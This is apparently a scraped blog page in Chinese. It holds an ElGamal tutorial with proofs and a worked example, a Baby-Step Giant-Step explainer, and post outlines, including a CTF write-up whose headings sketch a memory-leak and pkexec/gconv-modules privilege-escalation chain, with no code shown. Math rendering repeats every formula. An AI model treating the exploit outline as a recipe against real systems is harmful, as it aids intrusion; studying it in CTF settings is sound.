ax+py=1ax + py = 1ax+py=1

对上式两侧取模 ppp，可得

ax≡1(modp)ax \equiv 1 \pmod{p}ax≡1(modp)

令 b=x mod pb = x \bmod pb=xmodp，则 ab≡1(modp)ab \equiv 1 \pmod pab≡1(modp)。这里 bbb 不可能为 000，否则 ababab 将与 000 同余，因此 b∈Gb \in Gb∈G。模乘法满足交换律，所以也有 ba≡1(modp)ba \equiv 1 \pmod pba≡1(modp)，即 bbb 是 aaa 的逆元。

∀a∈G, ∃b∈G,ab≡ba≡1(modp).\boxed{\forall a \in G,\ \exists b \in G,\quad ab \equiv ba \equiv 1 \pmod p.}∀a∈G, ∃b∈G,ab≡ba≡1(modp).

例如，2⋅12−23=12 \cdot 12 - 23 = 12⋅12−23=1，因此 2⋅12≡1(mod23)2 \cdot 12 \equiv 1 \pmod{23}2⋅12≡1(mod23)，所以 222 在模 232323 下的逆元是 121212。上面的存在性证明，也能通过附录中的扩展欧几里得算法转化为求逆元的方法。

ElGamal 算法浅析#

从共享秘密到消息掩蔽#

设 Bob 的私钥为 xxx，公钥中的一个元素为 y=gxy = g^xy=gx。Alice 加密时另外选取随机数 kkk，并发送 c1=gkc_1 = g^kc1=gk。于是，两人可以分别算出

yk=(gx)k⏟Alice 计算=gxk=(gk)x=c1x⏟Bob 计算.\underbrace{y^k = (g^x)^k}_{\text{Alice 计算}} = g^{xk} = \underbrace{(g^k)^x = c_1^x}_{\text{Bob 计算}}.Alice 计算yk=(gx)k=gxk=Bob 计算(gk)x=c1x.

这里先用群中的幂运算表示；在下文选取的模乘法群中，所有结果都要取模 ppp。

两人算出的同一个群元素记为 sss。Alice 用乘法把它与消息结合，得到 c2=msc_2 = msc2=ms；Bob 则乘上 s−1s^{-1}s−1，撤销这层掩蔽。这说明了逆元为什么能保证解密的正确性。但旁观者从 g,gx,gkg,g^x,g^kg,gx,gk 中能否得到 sss，以及密文是否泄露消息的信息，需要另行讨论。

选取群与参数#

为了把算法和后面的安全讨论统一起来，我们选用模素数乘法群中的一个素数阶子群：

G=⟨g⟩≤Zp∗,∣G∣=q,q∣(p−1),G = \langle g\rangle \leq \mathbb{Z}_p^\ast,\qquad |G| = q,\qquad q\mid(p-1),G=⟨g⟩≤Zp∗,∣G∣=q,q∣(p−1),

其中 p,qp,qp,q 都是素数，qqq 足够大，ggg 的阶恰好为 qqq，即 gq≡1(modp)g^q \equiv 1 \pmod pgq≡1(modp) 且 g≠1g \ne 1g=1。此处的 ggg 只需要生成子群 GGG，不再要求它是整个 Zp∗\mathbb{Z}_p^\astZp∗ 的原根。

具体参数不能仅凭「p,qp,qp,q 都很大」就认定安全，还需要所选群中的相关计算问题足够困难。本文先在这样的群中说明算法，再解释安全假设。

消息必须是一个群元素 m∈Gm \in Gm∈G，而不是任意整数、文本或文件。如何把一般消息编码到群中并无歧义地恢复，是另外需要处理的问题，不能简单地把任意数据取模 ppp。实际应用通常采用经过安全分析的混合加密方案。

密钥生成#

Bob 使用合适的公开群参数 (p,q,g)(p,q,g)(p,q,g)，然后生成密钥：

使用密码学安全的随机数生成器，均匀选取私钥 x∈{1,2,⋯ ,q−1}x \in \{1,2,\cdots,q-1\}x∈{1,2,⋯,q−1}；
计算 y=gx mod py = g^x \bmod py=gxmodp。

Bob 公开公钥 (p,q,g,y)(p,q,g,y)(p,q,g,y)，并将私钥 xxx 保密。群参数可以由协议统一规定，不必由每个接收方重新生成。

加密#

Alice 要向 Bob 发送消息 m∈Gm \in Gm∈G：

获取 Bob 的公钥 (p,q,g,y)(p,q,g,y)(p,q,g,y)，并通过可信方式确认它确实属于 Bob；
使用密码学安全的随机数生成器，独立、均匀地选取临时随机指数 k∈{1,2,⋯ ,q−1}k \in \{1,2,\cdots,q-1\}k∈{1,2,⋯,q−1}；
计算第一部分密文 c1=gk mod pc_1 = g^k \bmod pc1=gkmodp；
计算共享秘密 s=yk mod ps = y^k \bmod ps=ykmodp，以及第二部分密文 c2=ms mod pc_2 = ms \bmod pc2=msmodp；
将密文 (c1,c2)(c_1,c_2)(c1,c2) 发送给 Bob。

每次加密都要重新采样 kkk，不能复用以前的值。独立随机采样理论上仍可能碰撞，因此随机空间也必须足够大。kkk 通常不随密文发送，密文中公开的是 gk mod pg^k \bmod pgkmodp。

解密与正确性#

对于按上述方式生成的合法密文，Bob 使用私钥 xxx 解密：

计算共享秘密 s=c1x mod ps = c_1^x \bmod ps=c1xmodp；
计算 sss 的模 ppp 逆元 s−1s^{-1}s−1，使得 ss−1≡1(modp)ss^{-1} \equiv 1 \pmod pss−1≡1(modp)；
恢复消息 m=c2s−1 mod pm = c_2s^{-1} \bmod pm=c2s−1modp。

为什么双方能得到同一个 sss？因为

c1x≡(gk)x=gkx=(gx)k≡yk(modp).c_1^x \equiv (g^k)^x = g^{kx} = (g^x)^k \equiv y^k \pmod p.c1x≡(gk)x=gkx=(gx)k≡yk(modp).

而 s∈Gs \in Gs∈G，所以逆元一定存在。于是

c2s−1≡m yk(c1x)−1≡m gxk(gkx)−1≡m(modp).\begin{aligned} c_2s^{-1} &\equiv m\,y^k(c_1^x)^{-1} \\ &\equiv m\,g^{xk}(g^{kx})^{-1} \\ &\equiv m \pmod p. \end{aligned}c2s−1≡myk(c1x)−1≡mgxk(gkx)−1≡m(modp).

由于我们用 1,2,⋯ ,p−11,2,\cdots,p-11,2,⋯,p−1 中的数代表群元素，c2s−1 mod pc_2s^{-1}\bmod pc2s−1modp 就恰好等于原消息 mmm。

一个小例子#

为了便于手算，取 p=23,q=11,g=2p=23,q=11,g=2p=23,q=11,g=2。因为 211≡1(mod23)2^{11}\equiv1\pmod{23}211≡1(mod23)，2≠12\ne12=1，而 111111 是素数，所以 222 的阶为 111111。

Bob 选取私钥 x=6x=6x=6，得到 y=26 mod 23=18y=2^6\bmod23=18y=26mod23=18。Alice 要发送 m=9m=9m=9，它确实属于 GGG，因为 9=25 mod 239=2^5\bmod239=25mod23。选取 k=3k=3k=3 后，

c1=23 mod 23=8,s=183 mod 23=13,c2=9⋅13 mod 23=2.\begin{aligned} c_1 &= 2^3\bmod23=8,\\ s &= 18^3\bmod23=13,\\ c_2 &= 9\cdot13\bmod23=2. \end{aligned}c1sc2=23mod23=8,=183mod23=13,=9⋅13mod23=2.

Bob 收到 (8,2)(8,2)(8,2) 后，算出 s=86 mod 23=13s=8^6\bmod23=13s=86mod23=13。由于 13⋅16≡1(mod23)13\cdot16\equiv1\pmod{23}13⋅16≡1(mod23)，所以 s−1=16s^{-1}=16s−1=16，最终恢复

m=2⋅16 mod 23=9.m=2\cdot16\bmod23=9.m=2⋅16mod23=9.

能正确解密，不等于已经安全#

安全性依赖什么#

如果旁观者能从 ggg 和 gxg^xgx 求出 xxx，也就是解决 离散对数问题，就能得到 Bob 的私钥。但「离散对数难求」还不足以直接推出完整的消息保密结论。

这里需要区分两个相关问题：

计算 Diffie–Hellman 问题（CDH）：给定 g,ga,gbg,g^a,g^bg,ga,gb，计算 gabg^{ab}gab。这与旁观者能否直接算出共享秘密有关。
判定 Diffie–Hellman 问题（DDH）：给定 g,ga,gbg,g^a,g^bg,ga,gb 和一个候选元素 TTT，判断 TTT 是 gabg^{ab}gab，还是独立均匀选取的群元素。

在合适的群中，若 DDH 假设成立，即对适当随机选取的指数，上述两种情况在计算上难以区分，基础 ElGamal 可以达到 选择明文攻击下的语义安全（IND-CPA）。直观地说，即使攻击者能选择两条候选消息，也难以从挑战密文判断加密的是哪一条。这里不展开形式化安全实验与证明。

这也是不能随便选群的原因。对于奇素数 ppp，整个 Zp∗\mathbb{Z}_p^\astZp∗ 上的 DDH 可以利用二次剩余性质来区分。一个非零元素如果能写成某个非零元素的平方，就叫作 二次剩余；这一性质可以高效判定。若 ggg 是整个群的原根，则 gtg^tgt 是二次剩余，当且仅当 ttt 为偶数。于是，公开的 y=gxy=g^xy=gx 和 c1=gkc_1=g^kc1=gk 会暴露 x,kx,kx,k 的奇偶性，进而暴露掩码 gxkg^{xk}gxk 的二次剩余性质，再结合 c2=mgxkc_2=mg^{xk}c2=mgxk，就能判断 mmm 是否为二次剩余。

因此，直接在整个 Zp∗\mathbb{Z}_p^\astZp∗ 中掩蔽任意非零消息，虽然可以正确解密，却会泄露消息的一项性质，不能满足上述安全要求。选用合适的素数阶子群可以避开这里的二次剩余区分，但 素数阶本身并不自动保证 DDH 困难，仍需使用经过分析的群和参数。

为什么不能复用加密随机数#

若同一公钥下两次加密使用了相同的 kkk，就会使用相同的掩码 s=yks=y^ks=yk。设两条消息分别为 m,m′m,m'm,m′，则

c2≡ms,c2′≡m′s(modp),c_2 \equiv ms,\qquad c_2' \equiv m's \pmod p,c2≡ms,c2′≡m′s(modp),

所以

c2′(c2)−1≡m′m−1(modp).c_2'(c_2)^{-1}\equiv m'm^{-1}\pmod p.c2′(c2)−1≡m′m−1(modp).

这会暴露两条明文之间的关系。一旦其中一条明文 mmm 已知，就可以直接恢复另一条：

m′≡m c2′(c2)−1(modp).m'\equiv m\,c_2'(c_2)^{-1}\pmod p.m′≡mc2′(c2)−1(modp).

基础 ElGamal 不提供什么#

基础 ElGamal 本身不提供消息完整性或发送者身份认证，也不具备选择密文安全性。例如，攻击者可以选取 t∈Gt\in Gt∈G，把密文 (c1,c2)(c_1,c_2)(c1,c2) 改为

(c1, tc2 mod p),(c_1,\;tc_2\bmod p),(c1,tc2modp),

接收方解密得到的就会是 tm mod ptm\bmod ptmmodp。这种可以有规律地改变明文的性质，称为 可塑性。而且公钥是公开的，任何人都可以向 Bob 加密，解密成功并不能证明消息来自 Alice。

实际实现还必须处理公钥和密文的群成员检查、参数验证、侧信道等问题。对于任意文本或文件，通常使用经过安全分析的混合加密方案，将公钥机制与密钥派生、认证加密等组件正确组合，而不是直接套用这里的乘法公式，也不能假定随意增加一个组件就能补齐安全性。

总结起来：群和逆元解释了 ElGamal 为什么能正确解密；计算困难性假设、随机数和协议设计，才决定它能提供怎样的安全保障。

附录：裴蜀定理的证明#

欧几里得算法 / 辗转相除法#

先设 a,ba,ba,b 为正整数，不妨设 a≥ba\geq ba≥b。对 aaa 除以 bbb，写成

a=bk+c,0≤c<b.a=bk+c,\qquad 0\leq c<b.a=bk+c,0≤c<b.

我们要证明

gcd⁡(a,b)=gcd⁡(b,c)=gcd⁡(b,a mod b).\gcd(a,b)=\gcd(b,c)=\gcd(b,a\bmod b).gcd(a,b)=gcd(b,c)=gcd(b,amodb).

设 ddd 为正整数。若 d∣ad\mid ad∣a 且 d∣bd\mid bd∣b，则 d∣(a−bk)d\mid(a-bk)d∣(a−bk)，即 d∣cd\mid cd∣c。反过来，若 d∣bd\mid bd∣b 且 d∣cd\mid cd∣c，则 d∣(bk+c)d\mid(bk+c)d∣(bk+c)，即 d∣ad\mid ad∣a。因此，(a,b)(a,b)(a,b) 和 (b,c)(b,c)(b,c) 拥有完全相同的正公约数，最大公约数自然相同。

反复应用这个等式，就得到欧几里得算法。非零余数构成严格递减的正整数序列，所以算法必然在有限步后结束，最后一个非零余数就是最大公约数。如果一开始 b∣ab\mid ab∣a，则第一步余数为 000，直接得到 gcd⁡(a,b)=b\gcd(a,b)=bgcd(a,b)=b。

裴蜀定理的正式证明#

设 a,ba,ba,b 为不全为 000 的整数，记 d=gcd⁡(a,b)>0d=\gcd(a,b)>0d=gcd(a,b)>0。因为 a=du,b=dva=du,b=dva=du,b=dv，其中 u,vu,vu,v 为整数，所以对任意整数 x,yx,yx,y，都有

ax+by=d(ux+vy).ax+by=d(ux+vy).ax+by=d(ux+vy).

因此 d∣(ax+by)d\mid(ax+by)d∣(ax+by)。下面证明存在整数 x,yx,yx,y，使得 ax+by=dax+by=dax+by=d。

如果 b=0b=0b=0，则 a≠0a\ne0a=0 且 d=∣a∣d=|a|d=∣a∣。当 a>0a>0a>0 时取 (x,y)=(1,0)(x,y)=(1,0)(x,y)=(1,0)；当 a<0a<0a<0 时取 (x,y)=(−1,0)(x,y)=(-1,0)(x,y)=(−1,0)。a=0a=0a=0 的情形类似。

如果 a,ba,ba,b 都非零，可以先对 ∣a∣,∣b∣|a|,|b|∣a∣,∣b∣ 证明：因为 gcd⁡(a,b)=gcd⁡(∣a∣,∣b∣)\gcd(a,b)=\gcd(|a|,|b|)gcd(a,b)=gcd(∣a∣,∣b∣)，对绝对值得到的系数可以通过调整符号转化为原整数对应的系数。因此以下只需考虑 a,ba,ba,b 都为正数的情况，交换两者后不妨设 a≥ba\geq ba≥b。

若 b∣ab\mid ab∣a，直接取 (x,y)=(0,1)(x,y)=(0,1)(x,y)=(0,1) 即可。否则，令 r−1=a,r0=br_{-1}=a,r_0=br−1=a,r0=b，将欧几里得算法统一写为

ri−2=qiri−1+ri,0≤ri<ri−1.r_{i-2}=q_i r_{i-1}+r_i,\qquad 0\leq r_i<r_{i-1}.ri−2=qiri−1+ri,0≤ri<ri−1.

记最后一个非零余数为 rnr_nrn，下一步余数为 rn+1=0r_{n+1}=0rn+1=0。根据前面证明的最大公约数不变性，

d=gcd⁡(a,b)=gcd⁡(rn,0)=rn.d=\gcd(a,b)=\gcd(r_n,0)=r_n.d=gcd(a,b)=gcd(rn,0)=rn.

现在要说明，每一个余数都能表示成 a,ba,ba,b 的整数线性组合。先为初始两项选取系数：

r−1=1⋅a+0⋅b,(s−1,t−1)=(1,0),r0=0⋅a+1⋅b,(s0,t0)=(0,1).\begin{aligned} r_{-1}&=1\cdot a+0\cdot b, & (s_{-1},t_{-1})&=(1,0),\\ r_0&=0\cdot a+1\cdot b, & (s_0,t_0)&=(0,1). \end{aligned}r−1r0=1⋅a+0⋅b,=0⋅a+1⋅b,(s−1,t−1)(s0,t0)=(1,0),=(0,1).

假设前两项已写成 ri−2=si−2a+ti−2br_{i-2}=s_{i-2}a+t_{i-2}bri−2=si−2a+ti−2b 和 ri−1=si−1a+ti−1br_{i-1}=s_{i-1}a+t_{i-1}bri−1=si−1a+ti−1b，则

ri=ri−2−qiri−1=(si−2−qisi−1)a+(ti−2−qiti−1)b.\begin{aligned} r_i &=r_{i-2}-q_i r_{i-1}\\ &=(s_{i-2}-q_i s_{i-1})a +(t_{i-2}-q_i t_{i-1})b. \end{aligned}ri=ri−2−qiri−1=(si−2−qisi−1)a+(ti−2−qiti−1)b.

因此可以递推定义整数系数

si=si−2−qisi−1,ti=ti−2−qiti−1.s_i=s_{i-2}-q_i s_{i-1},\qquad t_i=t_{i-2}-q_i t_{i-1}.si=si−2−qisi−1,ti=ti−2−qiti−1.

从上述初值出发，归纳可得每个 rir_iri 都满足 ri=sia+tibr_i=s_i a+t_i bri=sia+tib，特别地，

d=rn=sna+tnb.d=r_n=s_n a+t_n b.d=rn=sna+tnb.

取 x=sn,y=tnx=s_n,y=t_nx=sn,y=tn 就得到了所需的整数解，裴蜀定理得证。沿着欧几里得算法同时递推这些系数，就是 扩展欧几里得算法。

参考资料

漫谈 Baby-Step Giant-Step 算法

Thu, 16 Oct 2025 00:00:00 GMT

题目

找到最小的 xxx 使得 ax≡b(modp)a^x \equiv b \pmod{p}ax≡b(modp)。

我们不妨想象一个巨大的操场，其上等距排列着从 000 到 p−1p - 1p−1 的 ppp 个位置，起始时我们站在位置 111（单位元）。xxx 从 000 开始，每增加 111，我们就从现在的位置 rrr 前进一次 到 ar mod par \bmod parmodp；该过程将始终进行，直到在前进 xxx 次后，我们停在了位置 bbb 上。最暴力的方法即为枚举，但对于大多数题目而言，ppp 的值通常很大，在大的操场上枚举是较为困难的。

BSGS 算法可以解决这样的问题。假如现在我们向操场派出两个人，Baby-Step 和 Giant-Step，让他们帮助我们完成在操场上行走。值得注意的是，两个人的行走策略有所差异：Baby-Step 每次行动仅前进一次，但 Giant-Step 每次行动可前进多次。 我们让 Baby-Step 和 Giant-Step 分别从终点和起点出发，他们在操场上各自前进；当他们相遇的时候，我们取 Giant-Step 从起点到相遇点的前进次数和 Baby-Step 从终点到相遇点的前进次数，只需对两者作差，即得到我们从起点到终点需要前进的次数，并可以以此推导出答案。

这里，我们将总前进次数 xxx 分为

x=i⋅m−jx = i \cdot m - jx=i⋅m−j

其中，iii 表示 Giant-Step 的行动次数，mmm 表示 Giant-Step 的一次行动前进多少次，jjj 表示 Baby-Step 的前进次数。通常取 mmm 为 ⌈p⌉\lceil \sqrt{p} \rceil⌈p⌉。我们将上述式子先代入原方程中，有

ai⋅m−j≡b(modp)a^{i \cdot m - j} \equiv b \pmod{p}ai⋅m−j≡b(modp)

在同余式两边同乘以 aja^jaj，得

(am)i≡b⋅aj(modp)(a^m)^i \equiv b \cdot a^j \pmod{p}(am)i≡b⋅aj(modp)

这个式子是算法的核心。同余式左侧 (am)i(a^m)^i(am)i 显示了 Giant-Step 的行动，右侧 b⋅ajb \cdot a^jb⋅aj 显示了 Baby-Step 的行动。

在继续之前，我们需要说明一个前提：以下默认 gcd⁡(a,p)=1\gcd(a, p) = 1gcd(a,p)=1。在多数题目中 ppp 为素数且 aaa 不是 ppp 的倍数，因此这个条件自然成立。该条件保证了 aja^jaj 在模 ppp 下可逆，从而可以从右侧等式反推出原来的 xxx。

另外，如果 b≡1(modp)b \equiv 1 \pmod{p}b≡1(modp)，显然 x=0x = 0x=0 就是最小解，因此实现时应先特判并直接返回 000。

下面描述具体过程。

对于 Baby-Step，起初站在终点 bbb 上，并使用一张哈希表记录着其前进的全过程：前进 000 次时，记录「前进 000 次到达了 b⋅a0 mod pb \cdot a^0 \bmod pb⋅a0modp」；前进 111 次时，记录「前进 111 次到达了 b⋅a1 mod pb \cdot a^1 \bmod pb⋅a1modp」……Baby-Step 一直如此前进直到 (m−1)(m - 1)(m−1) 次，将这 mmm 对「前进次数—到达位置」的关系全部记录在了一张哈希表里。现在，这个哈希表则类似于一张地图，它记录了从终点 bbb 出发，前进不到 mmm 次，即 000 到 m−1m-1m−1 次能到达的所有位置。若同一个位置被多次到达，实现时应保留更大的 jjj，以保证最终得到的 x=im−jx = im - jx=im−j 尽可能小。

下面，我们让 Giant-Step 出发，站在起点 111 上。行动 111 次（前进 mmm 次）时，Giant-Step 对照哈希表以检验自己现在所处的位置 (am)1 mod p(a^m)^1 \bmod p(am)1modp 是否位于哈希表内：如果有，则停止；如果否，则继续行动 111 次。Giant-Step 将一直行动，直到第 iii 次行动时，其处于的位置 (am)i mod p(a^m)^i \bmod p(am)imodp 恰好位于哈希表内。这样，我们便知道了：Giant-Step 从起点 111 出发，行动 iii 次（前进 imimim 次）后到达了相遇点；Baby-Step 从终点 bbb 出发，前进 jjj 次后也到达了相遇点。因此，若我们从起点出发，只需前进

x=i⋅m−jx = i \cdot m - jx=i⋅m−j

次即可到达终点。

由于 m=⌈p⌉m = \lceil \sqrt{p} \rceilm=⌈p⌉，任意可能的 x<px < px<p 都可以写成 x=im−jx = im - jx=im−j 的形式，其中 1≤i≤m1 \le i \le m1≤i≤m，0≤j<m0 \le j < m0≤j<m。因此 Giant-Step 至多行动 mmm 次，Baby-Step 也至多记录 mmm 条哈希表，所以算法总复杂度为 O(p)O(\sqrt{p})O(p) 的时间和 O(p)O(\sqrt{p})O(p) 的空间。在 MoeCTF 2025 的这道 ezBSGS 题目中，ppp 的值大约为 101410^{14}1014，但 p\sqrt{p}p 的值仅为 10710^7107，可以认为 BSGS 算法是容易计算的。

CrystaRin镜雨亭

租台 MacBook 线下带，Qwen 3.8 打国赛！

在一切开始之前#

初见 MacBook Pro#

安装必备的工具链#

安装软件包#

Determinate Nix#

Homebrew?#

软件包校验机制…#

验证工具是否可用#

其他配置#

适应#

留意的点#

配置 Qwen 3.8 27B#

另一颗星星上的 Qwen#

初见 MLX#

无畏 Chat#

无畏 Agent？#

无畏并发#

再谈速度#

GGUF 和 Speculative Decoding#

Q6/6bit、5bit 和 oMLX#

再谈微调#

MCP 和 Skills#

知识库、RAG 与 PoC 库#

跨平台题目#

Nix 的 sandbox、Linux 和 Docker#

Rosetta 2 的实现导致的问题#

两轮测试#

向 UTM 妥协#

Windows、Parallels Desktop 和 Prism#

砸钱大赛？#

在一切结束之后#

尾注#

关于 OpenVPN#

面试#

hzlt!Game#

AI 辅助创作#

GPT 6 Astra#

DeepSeek V4.1 Flash#

GPT 6.1 Sol#

Footnotes#

Mini L-CTF 2026 题解

前言#

杂项 / Misc#

Recovery Pod#

查找 XOR 脚本#

查找 XOR 密文#

查找 XOR 密钥#

逆向工程 / Reverse#

GQuuuuuupX#

sub_402617 的 ASCII 字符判断#

sub_4017F6 和其调用函数#

sub_4013AB 和 sub_401374#

sub_4019EC 和其调用函数#

sub_403484 的 Flag 校验#

Schrodinger’s Env#

Snake#

初始化 validator blob#

按键处理#

blob 变换#

op == 'L'#

op == 'A'#

op == 'S'#

op == 'P'#

食物#

MD5 校验#

变换序列#

解密 Flag#

二进制漏洞审计 / Pwn#

n4n0sleep#

1byte#

EZcs#

初步分析#

client 侧逻辑#

service 侧逻辑#

已知漏洞#

srv_handle_bug 的栈溢出漏洞#

signup 的不完全初始化#

srv_handle_get 的越界读#

`sub_402617` 的 ASCII 字符判断#

`sub_4017F6` 和其调用函数#

`sub_4013AB` 和 `sub_401374`#

`sub_4019EC` 和其调用函数#

`sub_403484` 的 Flag 校验#

`op == 'L'`#

`op == 'A'`#

`op == 'S'`#

`op == 'P'`#

`client` 侧逻辑#

`service` 侧逻辑#

`srv_handle_bug` 的栈溢出漏洞#

`signup` 的不完全初始化#

`srv_handle_get` 的越界读#

`client` 侧越界读#

泄露 `service` 栈#

关于 `upload` 逻辑#

`u0` heap leak#

`u2` 准备 libc leak slot#

`u1` 制造 freed password chunks#

使用 `u2` libc leak#

`u3` environ leak#

`u4` canary leak#

`u5` PIE leak#

取 queue 中 `flag`#

获得提权后的 `sid`#

探测 `/api/run` 接口用法#

使用 `omni_pkexec` 拷贝 Flag#

`/tmp/x.c`#

`/tmp/gconv-modules`#

触发脚本 `/tmp/r`#

`boolcodes` 的冲突#

致神楽坂零音的两周年